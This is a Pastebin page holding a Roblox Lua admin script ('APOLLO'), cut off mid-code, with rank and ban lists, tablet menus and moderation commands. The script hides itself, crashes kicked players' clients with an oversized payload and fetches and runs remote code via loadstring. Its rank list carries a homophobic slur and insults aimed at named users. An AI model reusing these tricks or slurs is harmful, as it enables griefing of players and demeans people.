Pastebin
API
tools
faq
paste
Login
Sign up
Please fix the following errors:
New Paste
Syntax Highlighting
wait() script.Parent=nil _G.APOLLO={}; _G.APOLLO.baseKey='o43ua8weuf98u(*U#(*uoiwajdsf8p#*U(jh8idfa'; _G.APOLLO.decodeKey='joU*3uf98asdu9*H#O*SF&DYOH'; _G.APOLLO.encodeKey='joij983#(*#*)(DSFUJHdfoaisu(*#'; APOLLO={ --SCRIPT_CORE killKey=nil; CoreStuff={RotMode=1,tabPart=nil,REMOVED=false,ChangingLighting=false,rotRunning=false,breakLoops=false,State=nil,Version=1.3,StoredTablets={},ROT=0,ROTA=0.15,TabletParent=game:service'Workspace' or 'CANNOT_PARENT',baseLink='http://google.com',SavedTabletsInfo={},PlayersSavedPositions={},ServerCreating=false}; Commands={}; NotReal={ _G={}, shared={} }; Ranked={ {Name='APOLLO_SYSTEM',Rank=7,Reason='EVENT_HANDELING'}; {Name='WinslowMau',Rank=7,Reason='Creator',Bet='/'}; {Name='aleksa12432',Rank=7,Reason='bby and bfffff <3 <3 <3'}; {Name='Exorsizer',Rank=6,Reason='See: SolarEnvironment',Bet='/'}; {Name='tusKOr661',Rank=6,Reason='Bypass buddy and he thinks he has so much swag lololololol no he good nige',Bet='\\'}; {Name='Nexure',Rank=5,Reason='Good friend of creator + SB'}; {Name='bomblover',Rank=3,Reason='Good friend of creator'}; {Name='areno2002',Rank=5,Reason='Good friend of creator, creater of Crystal',Bet=';'}; {Name='leonplantaric4',Rank=4,Reason='Friend'}; {Name='ClassyJakey',Rank=3,Reason='SB pall + doge'}; {Name='RBUXH4XX',Rank=4,Reason='Nice person, may FM but is nice so doesnt matter',Bet=';'}; {Name='iiHoops',Rank=4,Reason='Nice person, friend of RBUX'}; {Name='12packkid',Rank=2,Reason='Packskid'}; {Name='NetworkServices',Rank=2,Reason='C2R fwend'}; {Name='brianush1',Rank=2,Reason='Good scripter'}; {Name='KaraMura',Rank=2,Reason='Good friend'}; {Name='Basictality',Rank=2,Reason=''}; {Name='anaIyze',Rank=2,Reason='pri'}; {Name='jarredbcv',Rank=4,Reason='Legit scripter'}; {Name='WantSomeTacos',Rank=6,Reason='the biggest feg on the planet'}; {Name='NotAshley',Rank=6,Reason='omg I love you so so much <3 <3 <3'}; }; Banned={'LoadingScriptEditor','Jman2384','dewman2004','ilovekaitlynnweber','mgfsonicr','NewConstruction','M1sterJerk','billwa25','mugex','Copenricus45','Kufarscum','noobkilervip','Razorfire55','Derek1017','meunumbertwo','TESTACCOUNT66666666','joshie0707'}; TimeBanned={}; Settings={SecurePlayergui=true,pondaMode=false,sharedLock=false,SilentMode=false,NoMessage=true,SaveLighting=true,Pri=false,NilsAllowed=true,Bet='/',Table=false,Idle=false}; Functions={}; Idling={}; Logged={}; Services={ game:service'Workspace'; game:service'Lighting'; game:service'Players'; game:service'Debris'; game:service'ServerStorage'; game:service'ReplicatedStorage'; game:service'ServerScriptService'; }; Colors={ "Medium stone grey","White","Grey","Light yellow","Brick yellow","Light green (Mint)","Light reddish violet", "Pastel Blue","Light orange brown","Nougat","Bright red","Med. reddish violet","Bright blue","Bright yellow", "Earth orange","Black","Dark grey","Dark green","Medium green","Lig. Yellowich orange","Bright green", "Dark orange","Light bluish violet","Transparent","Tr. Red","Tr. Lg blue","Tr. Blue","Tr. Yellow","Light blue", "Tr. Flu. Reddish orange","Tr. Green","Tr. Flu. Green","Phosph. White","Light red","Medium red","Medium blue", "Light grey","Bright violet","Br. yellowish orange","Bright orange","Bright bluish green","Earth yellow", "Bright bluish violet","Tr. Brown","Medium bluish violet","Tr. Medi. reddish violet","Med. yellowish green", "Med. bluish green","Light bluish green","Br. yellowish green","Lig. yellowish green","Med. yellowish orange", "Br. reddish orange","Bright reddish violet","Light orange","Tr. Bright bluish violet","Gold","Dark nougat", "Silver","Neon orange","Neon green","Sand blue","Sand violet","Medium orange","Sand yellow","Earth blue", "Earth green","Tr. Flu. Blue","Sand blue metallic","Sand violet metallic","Sand yellow metallic", "Dark grey metallic","Black metallic","Light grey metallic","Sand green","Sand red","Dark red","Tr. Flu. Yellow", "Tr. Flu. Red","Gun metallic","Red flip/flop","Yellow flip/flop","Silver flip/flop","Curry","Fire Yellow", "Flame yellowish orange","Reddish brown","Flame reddish orange","Royal blue","Dark Royal blue", "Bright reddish lilac","Dark stone grey","Lemon metalic","Light stone grey","Dark Curry","Faded green", "Turquoise","Light Royal blue","Medium Royal blue","Rust","Brown","Reddish lilac","Lilac","Light lilac", "Bright purple","Light purple","Light pink","Light brick yellow","Warm yellowish orange","Cool yellow", "Dove blue","Medium lilac","Institutional white","Mid gray","Really black","Really red","Deep orange","Alder", "Dusty Rose","Olive","New Yeller","Really blue","Navy blue","Deep blue","Cyan","CGA brown","Magenta","Pink",'Teal', "Toothpaste","Lime green","Camo","Grime","Lavender","Pastel light blue","Pastel orange","Pastel violet", "Pastel blue-green","Pastel green","Pastel yellow","Pastel brown","Royal purple","Hot pink"; }; };setmetatable(APOLLO.NotReal._G,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'}); setmetatable(APOLLO.NotReal.shared,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'}); APOLLO.killKey=_G.APOLLO.baseKey.._G.APOLLO.decodeKey.._G.APOLLO.encodeKey; local CurrentVersion; if getfenv(load)~=nil then local e=getfenv(load) e.require=nil;e.require=require; end; APOLLO.Functions.fetchSound=function(Words) local KeyWords = game:service'HttpService':UrlEncode(Words) local Url = 'http://roproxy.tk/catalog/json?Keyword='..tostring(KeyWords)..'&Category=9&ResultsPerPage=50' local Assets = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(Url)) return Assets end APOLLO.Functions.musicInterface=function(plr,words) local songs={} local id=0 for i,v in next,APOLLO.Functions.fetchSound(words)do table.insert(songs,v); end for i,v in next,songs do APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Lime green',function()APOLLO.Functions.dismiss(plr) id=v.AssetId; local sound=Instance.new("Sound",script) sound.SoundId=id; APOLLO.CoreStuff.Sound=sound; --//\\-- end) end end APOLLO.Functions.getRank=function(player) for _,rank in next,APOLLO.Ranked do if rank.Name:lower()==player.Name:lower() then return rank.Rank end end end; APOLLO.Functions.setRank=function(player,newrank) for _,rank in next,APOLLO.Ranked do if rank.Name:lower()==player.Name:lower() then rank.Rank=newrank end end end; APOLLO.Functions.getReason=function(player) for _,rank in next,APOLLO.Ranked do if rank.Name:lower()==player.Name:lower() then return rank.Reason end end end; APOLLO.Functions.attach=function(plr,object) local function check(o) if o:IsA'BasePart'then return true else return false end end if check(object)==true then table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=plr,P=object,ID=math.random(),Rainbow=Clr=='Rainbow'and true or false}); end end APOLLO.Functions.AddCommand=function(Name,Chat,Rank,Description,Function) APOLLO.Commands[#APOLLO.Commands+1]={['Name']=Name,['Say']=Chat,['Rank']=Rank,['Desc']=Description,['Func']=Function} end; APOLLO.Functions.AddRank=function(Name,Rank,Reason,Bet) local f=false; for _,v in pairs(APOLLO.Ranked) do if v["Name"] == tostring(Name) then f = true break end end if f==false then APOLLO.Ranked[#APOLLO.Ranked+1]={['Name']=Name,['Rank']=Rank,['Reason']=Reason,['Bet']=Bet or '/'} end end; APOLLO.Functions.getPlayers=function(plr,msg) local PlayersFound={} if msg=='me' then table.insert(PlayersFound,plr) elseif msg=='others' then for i,p in next,game:service'Players':players() do if p.Name~=plr.Name then if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(p) then table.insert(PlayersFound,p) end end end elseif msg=='all' then for i,v in next,game:service'Players':players() do if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then table.insert(PlayersFound,v) end end else for i,v in next,game:service'Players':players() do if v.Name:lower():sub(1,#v.Name):find(msg:lower():sub(1,#msg)) then if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then table.insert(PlayersFound,v) end end end end return PlayersFound end; APOLLO.Functions.Chat=function(plr,msg) local Bet=nil for i,v in next,APOLLO.Ranked do if v.Name==plr.Name then Bet=v.Bet or '/' end end if msg:sub(1,3)=='/e ' then msg=msg:sub(4) end for i,command in next,APOLLO.Commands do if(msg:sub(1,#command['Say']+#Bet)==command['Say']..Bet)then if(APOLLO.Functions.getRank(plr)>=command.Rank)then msg=msg:sub(#command['Say']+#Bet+1); APOLLO.Functions.dismiss(plr); for i,v in next,APOLLO.Logged do if v['Name']==tostring(plr) then v.Actions[#v.Actions+1]=tostring(plr)..'/'..tostring(command['Say']); end end a,b=ypcall(function() command['Func'](plr,msg); end); if not a then error(b) end else APOLLO.Functions.dismiss(plr); if(APOLLO.Settings.pondaMode==false)then APOLLO.Functions.tabletOutput(plr,'You are not allowed to use APOLLO this way.','Really red'); elseif(APOLLO.Settings.pondaMode==true)then APOLLO.Functions.tabletOutput(plr,'You are not allowed to ponda this way.','Really red'); end end; end; end; end; function APOLLO.Functions.guiNotifyBig(plr,txt,tm) --coroutine.wrap(function() local Not=Instance.new('ScreenGui',plr.PlayerGui); Not.Name='APOLLO_NOTIFY_SMALL'; local T=Instance.new('TextButton',Not); T.Size=UDim2.new(0,200,0.15,0); T.Position=UDim2.new(0.85,0,1-(6.5),0); T.TextXAlignment='Left'; T.TextYAlignment='Top'; T.Font='Legacy'; T.FontSize='Size18'; T.TextScaled=true; T.BorderSizePixel=0; T.BackgroundColor3=Color3.new(0,0,0); T.BackgroundTransparency=.5; T.TextColor3=Color3.new(1,1,1); T.Text=tostring(txt); wait(tm) Not:remove(); --end) end; APOLLO.Functions.toRGB=function(r,g,b) return(Color3.new(r/255,g/255,b/255)); end; APOLLO.Functions.fixLighting=function() APOLLO.CoreStuff.ChangingLighting=true; local lighting=game:service'Lighting' lighting.GeographicLatitude=41.733299255371; lighting.ColorShift_Bottom=APOLLO.Functions.toRGB(0,0,0); lighting.ShadowColor=APOLLO.Functions.toRGB(179,179,179); lighting.ColorShift_Top=APOLLO.Functions.toRGB(0,0,0); lighting.FogColor=APOLLO.Functions.toRGB(192,192,192); lighting.Ambient=APOLLO.Functions.toRGB(128,128,128); lighting.TimeOfDay='14:00:00'; lighting.GlobalShadows=false; lighting.Name='Lighting'; lighting.archivable=true; lighting.Outlines=false; lighting.Brightness=1; lighting.FogEnd=1e5; lighting.FogStart=0; for index,v in next,game:service'Lighting':children()do if(v:IsA'Sky')then v:destroy(); end; end; APOLLO.CoreStuff.ChangingLighting=false; end APOLLO.Functions.rotateAnim=function(part) pcall(function() APOLLO.CoreStuff.ROT=APOLLO.CoreStuff.ROT+APOLLO.CoreStuff.ROTA/100; for _,player in next,game:getService'Players':getPlayers''do local collected_tablets={}; for _,tablet in next,APOLLO.CoreStuff.StoredTablets do if(tablet.Owner==player)then if tablet.P.Parent ~= APOLLO.CoreStuff.TabletParent then APOLLO.CoreStuff.StoredTablets[_]=nil else table.insert(collected_tablets,tablet); end end; end; for I=1,#collected_tablets do --local position=player.Character.Torso.CFrame or part.CFrame; local position; if player.Character~=nil and player.Character.Torso~=nil then position=player.Character.Torso.CFrame APOLLO.CoreStuff.PlayersSavedPositions[player.Name] = player.Character.Torso.CFrame else position = APOLLO.CoreStuff.PlayersSavedPositions[player.Name] or CFrame.new(0,25,0) --position=part.CFrame+Vector3.new(#tostring(player.Name),50,#tostring(player.Name)) end local radius=6; local position_2=(I/#collected_tablets-(.5/#collected_tablets)+(APOLLO.CoreStuff.ROT/(#collected_tablets/10)))*math.pi*2 local radius_function=(#collected_tablets*.6)+radius; local X=math.sin(position_2)*(radius_function); local Y=math.sin(time()); local Z=math.cos(position_2)*radius_function; local A=Vector3.new(X,Y,Z)+position.p; local B=collected_tablets[I].P.CFrame.p; local C=A*.1+B*.9; local spinning_angle=math.rad((APOLLO.CoreStuff.ROT*300)*math.pi); collected_tablets[I].P.CFrame=CFrame.new(C,position.p)*CFrame.Angles(spinning_angle,spinning_angle,spinning_angle) end; end; end) APOLLO.CoreStuff.rotRunning=true; end; APOLLO.Functions.revertBase=function() pcall(function()workspace.Base:remove()end); local b=Instance.new("Part") b.Anchored=true; b.Locked=true b.CanCollide=true b.Material='Grass' b.Name='Base'--prevent removal by g/c b.Size=Vector3.new(700,1.2,700); b.BrickColor=BrickColor.new('Bright green'); print'new base' end APOLLO.Functions.update=function() local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true); script:Destroy() APOLLO.Ranked={} APOLLO.Functions={} APOLLO.CoreStuff={} APOLLO.Settings={} APOLLO.Idling={} APOLLO.Logged={"APOLLO_DISABLED"} APOLLO={} for i,env in next,getfenv(1) do getfenv(1)[i]='DISABLED' end for i,env2 in next,getfenv(0)do getfenv(0)[i]='DISABLED' end for i,env3 in next,getfenv()do getfenv()[i]='DISABLED' end wait() loadstring(newVer)(); script.Disabled=true; script:Destroy() end; APOLLO.Functions.Fake = { Table = function(Table) local SimulatedTable = {} table.foreach(Table,function(Index, Value) SimulatedTable[Index] = Value end) return SimulatedTable end, } APOLLO.Functions.Explore=function(p, part) APOLLO.Functions.dismiss(p) if part == nil then for _,v in pairs(APOLLO.Services) do APOLLO.Functions.tabletOutput(p,v.Name,'Really red', function() APOLLO.Functions.Explore(p,v) end) end else for _,v in pairs(part:children()) do APOLLO.Functions.tabletOutput(p,v.Name,'Really red', function() APOLLO.Functions.Explore(p,v) end) end APOLLO.Functions.tabletOutput(p,"Currently exploring: "..part:GetFullName(),'New Yeller') APOLLO.Functions.tabletOutput(p,"ClassName: "..part.ClassName,'New Yeller') APOLLO.Functions.tabletOutput(p,"Destroy",'Really red', function() part:Destroy() APOLLO.Functions.Explore(p,part.Parent) end) APOLLO.Functions.tabletOutput(p,"Remove",'Really red', function() part:remove() APOLLO.Functions.Explore(p,part.Parent) end) APOLLO.Functions.tabletOutput(p,"Explore parent",'Bright blue', function() APOLLO.Functions.Explore(p,part.Parent) end) APOLLO.Functions.tabletOutput(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end) APOLLO.Functions.tabletOutput(p,"Refresh",'Cyan', function() APOLLO.Functions.Explore(p,part) end) if clonedpart then APOLLO.Functions.tabletOutput(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end) end end end APOLLO.Functions.permaMessage=function(txt) pcall(function()mescheck:disconnect()end) pcall(function()workspace.Unremovable_Message_Instance:remove()end) local DATA={ MessageText=txt, MessageParent=game:FindService('Workspace'), MessageDisabled=false, MessageKillcode='KILL_THAT_MESSAGE' } local function makeMessage() local Message=Instance.new("Hint",DATA.MessageParent) Message.Name=tostring(math.random(100,1000000)) Message.Text=DATA.MessageText end local function checkForValidMessage() for i,v in next,DATA.MessageParent:children() do if v:IsA'StringValue' and v.Name=='Message_Killer' and v.Value=='666' then mescheck:disconnect() checkForValidMessage=nil makeMessage=nil DATA=nil v:Destroy() return end if v:IsA'Message'then if v.Text~=DATA.MessageText or v.Parent~=DATA.MessageParent then v.Name=tostring(math.random(100,1000000)) v.Text=DATA.MessageText v.Parent=DATA.MessageParent end break else if i==#DATA.MessageParent:children() then makeMessage() end end end end mescheck=game:service'RunService'.Stepped:connect(function() checkForValidMessage() end) end APOLLO.Functions.tabletOutput=function(Plr,Text,Clr,OnClicked,OnTouched) coroutine.wrap(function() if APOLLO.Settings.SilentMode==true then return end local isSilent=false; pcall(function() if Plr == nil then Plr = game.Players:players()[math.random(1,#game.Players:players())] end if type(Plr) == 'userdata' then Plr = Plr elseif type(Plr) == 'string' then for _,v in pairs(game.Players:players()) do if v.Name:lower():sub(1,#Plr) == Plr:lower() then Plr = v break end end end for i,v in next,APOLLO.Ranked do if v.Silent and v.Silent==true then isSilent=true; else isSilent=false; end end if isSilent==true then return end local id_=math.random(); if Text == nil then Text = "[:ERROR:]{NO_TEXT_ENTERED}" end if Clr == nil then Clr = "Random" end local T = Instance.new("Part",APOLLO.CoreStuff.TabletParent) T.FormFactor = 'Custom' pcall(function() T.CFrame=Plr.Character.Torso.CFrame end) T.CanCollide=false T.Locked=true T.Anchored=true T.Size=Vector3.new(2.5,2.5,2.5) T.Name='SOLAR_TABLET_'..math.random(-99999,99999); if(APOLLO.Settings.pondaMode==true)then local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda Hat.Handle.Mesh.Parent=T end pcall(function() if type(Clr) == "string" then if Clr == "Random" then T.BrickColor = BrickColor.random() else T.BrickColor = BrickColor.new(Clr) end elseif type(Clr) == "userdata" then T.Color = BrickColor.new(Clr).Color end end) T.TopSurface=0 T.BottomSurface=0 if(APOLLO.Settings.pondaMode==false)then T.Transparency=0.65 end local BBG = Instance.new("BillboardGui",T) BBG.Adornee = T BBG.StudsOffset = Vector3.new(0,3,0) BBG.Size = UDim2.new(10,0,10,0) local TL = Instance.new("TextLabel", BBG) TL.Name="OutputText" TL.Size = UDim2.new(1,0,1,0) TL.BackgroundTransparency = 1 TL.TextColor = T.BrickColor TL.Text = Text TL.TextStrokeTransparency = 0 TL.Font = 'Arial' TL.FontSize = "Size18" local C = Instance.new("ClickDetector", T) C.MaxActivationDistance = math.huge C.MouseClick:connect(function(p) if p.Name == Plr.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(Plr) then for i,v in pairs(APOLLO.CoreStuff.SavedTabletsInfo) do if v.P.Name == T.Name then APOLLO.CoreStuff.SavedTabletsInfo[i]=nil end end wait(); T:Destroy() for i,v in pairs(APOLLO.CoreStuff.StoredTablets) do if(v.ID==id_)then table.remove(APOLLO.CoreStuff.StoredTablets, i) end end if OnClicked ~= nil then a,b = ypcall(function() -- for i = 0,3 do APOLLO.Functions.dismiss(Plr) end); OnClicked() end) if not a then APOLLO.Functions.tabletOutput(b,"Really red") end end end end) if OnTouched ~= nil then T.Touched:connect(function(what) if what.Parent.Name ~= Plr.Name then local higherRank = false pcall(function() if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(Plr) then higherRank = true end end) if higherRank == false then OnTouched(what) end end end) end table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=Plr,P=T,ID=id_,Rainbow=Clr=='Rainbow'and true or false}); table.insert(APOLLO.CoreStuff.SavedTabletsInfo,{OnClicked=OnClicked,OnTouched=OnTouched,Owner=Plr,P=T:Clone(),ID=id_,Rainbow=Clr=='Rainbow'and true or false}); end) end)() end workspace.descendantRemoving:connect(function(meow) coroutine.wrap(function() local x = meow.Name --god darn buutif0l --so it waits to check if dismiss removed it wait() for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do if v.P.Name == x then local meowX = v.P:Clone() for _,y in next,meowX:children() do if y.ClassName == 'ClickDetector' then y:remove() end end meowX.Parent = APOLLO.CoreStuff.TabletParent local meowY = Instance.new("ClickDetector",meowX) meowY.MaxActivationDistance = math.huge meowY.MouseClick:connect(function(p) if p.Name == v.Owner.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(v.Owner) then APOLLO.CoreStuff.SavedTabletsInfo[i]=nil meowX:remove() for _,y in pairs(APOLLO.CoreStuff.StoredTablets) do if(y.P.Name == meowX.Name)then table.remove(APOLLO.CoreStuff.StoredTablets, _) end end if v.OnClicked ~= nil then a,b = ypcall(function() v.OnClicked() end) if not a then APOLLO.Functions.tabletOutput(b,"Really red") end end end end) if v.OnTouched ~= nil then v.P.Touched:connect(function(what) if what.Parent.Name ~= v.Owner.Name then local higherRank = false pcall(function() if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(v.Owner) then higherRank = true end end) if higherRank == false then OnTouched(what) end end end) end table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=v.Owner,P=meowX,ID=v.id_,Rainbow=v.Rainbow}) end end end)() end) function APOLLO.Functions.fireRocket(plr) local torso=plr.Character.Torso local roket=Instance.new("Part") roket.Size=Vector3.new(1,1,10) roket.CFrame=CFrame.new(0,200,0) roket.BrickColor=BrickColor.new('Really red') local targ=Instance.new("RocketPropulsion",roket) targ.Target=torso roket.Touched:connect(function(h) local ex=Instance.new("Explosion",roket) ex.Position=roket.Position roket:remove() if not h.Name=='Base'and not h.Name=='Baseplate'then pcall(function()h.Parent:BreakJoints()end) h:remove() end end) roket.Parent=workspace targ:fire() end APOLLO.Functions.kick=function(...) local args={...} local r=Instance.new('RemoteFunction',game.Lighting); for i,f in next,args do if type(f) == 'userdata' then f = f elseif type(f) == 'string' then for _,v in pairs(game.Players:players()) do if v.Name:lower():sub(1,#f) == f:lower() then f = v break end end end pcall(function() pcall(function()f:Kick()end) if f then r:InvokeClient(f,{string.rep('ok',5e5+9)}); end end); end wait(); r:Destroy(); end; APOLLO.Functions.initiateShutdown=function() if APOLLO.Settings.SecurePlayergui then while(wait())do for i,v in next,game:service'Players':players() do v:Kick() end end end end APOLLO.Functions.getRanked=function(plr) APOLLO.Functions.tabletOutput(plr,'Rank 0','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'Rank 0','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==0 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); end end end); APOLLO.Functions.tabletOutput(plr,'Rank 1','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'Rank 1','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==1 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); end end end); APOLLO.Functions.tabletOutput(plr,'Rank 2','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'Rank 2','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==2 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); end end end); APOLLO.Functions.tabletOutput(plr,'Rank 3','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'Rank 3','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==3 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); end end end); APOLLO.Functions.tabletOutput(plr,'Rank 4','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'Rank 4','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==4 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); end end end); APOLLO.Functions.tabletOutput(plr,'Rank 5','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'Rank 5','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==5 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); end end end); APOLLO.Functions.tabletOutput(plr,'Rank 6','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'Rank 6','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==6 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green'); end end end); APOLLO.Functions.tabletOutput(plr,'ROOT','Really red',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); APOLLO.Functions.tabletOutput(plr,'nil','Really red'); for i,v in next,APOLLO.Ranked do if v.Rank==7 then APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); end end end); end APOLLO.Functions.guiNotify=function(plr,text,time) coroutine.wrap(function() if time==nil then time=3 end local Notify = Instance.new("ScreenGui",plr.PlayerGui) Notify.Name = "APOLLO_NOTIFY" local TextPart = Instance.new("TextLabel",Notify) --buttons have better styles TextPart.Size=UDim2.new(0.7,0,0.05,0) TextPart.Position=UDim2.new(0,100,-.2,0); TextPart.Text = text TextPart.BackgroundColor3=Color3.new(0,0,0); TextPart.TextColor3 = Color3.new(1,1,1) TextPart.TextScaled = true TextPart.BorderSizePixel=0; TextPart:TweenPosition(UDim2.new(0,0,0,0),'Out','Quad',2,true); wait(time); TextPart:TweenPosition(UDim2.new(0,0,-.2,0),'Out','Quad',2,true); wait(3); Notify:destroy(); end)(); end; APOLLO.Functions.playerInterface=function(plr) for i,v in next,game:service'NetworkServer':children() do local player=v:GetPlayer() if player.Parent==nil then APOLLO.Functions.tabletOutput(plr,player.Name..' : nil','Really red',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Destroy '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end) end) elseif player.Parent==game.Players then APOLLO.Functions.tabletOutput(plr,player.Name..' : in-game','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Administrative actions','Really red',function() APOLLO.Functions.tabletOutput(plr,'Respawn '..player.Name..'?','Dark green',function()APOLLO.Functions.dismiss(plr)player:LoadCharacter()end); APOLLO.Functions.tabletOutput(plr,'Kick '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end); APOLLO.Functions.tabletOutput(plr,'Rejoin '..player.Name..'?','New Yeller',function()APOLLO.Functions.dismiss(plr)game:service'TeleportService':Teleport(player,game.PlaceId)end); end); APOLLO.Functions.tabletOutput(plr,'Fun actions','Dark green',function()APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Kill','Dark green',function()APOLLO.Functions.dismiss(plr)player.Character:BreakJoints()end) --line 666 end) end) else APOLLO.Functions.tabletOutput(plr,tostring(player.Name) or 'Unknown'..' : joining','New Yeller',function()APOLLO.Functions.kick(player)end); end end end function APOLLO.Functions.dismiss(plr) pcall(function() if type(plr) == "userdata" then plr = plr elseif type(plr) == "string" then local f = false for _,v in pairs(game.Players:players())do wait() if v.Name:lower():sub(1,#plr) == plr:lower() then f = true plr = v break end end if f == false then --// end else return end for i,v in next,APOLLO.CoreStuff.StoredTablets do if v.Owner == plr then v.P:remove() APOLLO.CoreStuff.StoredTablets[i]=nil end end for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do if v.Owner == plr then APOLLO.CoreStuff.SavedTabletsInfo[i] = nil v.P:remove() end end end) end APOLLO.Functions.showCommands=function(plr) for i,v in next,APOLLO.Commands do APOLLO.Functions.tabletOutput(plr,v.Name,'Really red',function() APOLLO.Functions.dismiss(plr) APOLLO.Functions.tabletOutput(plr,'Command name: '..v.Name,'Really red') 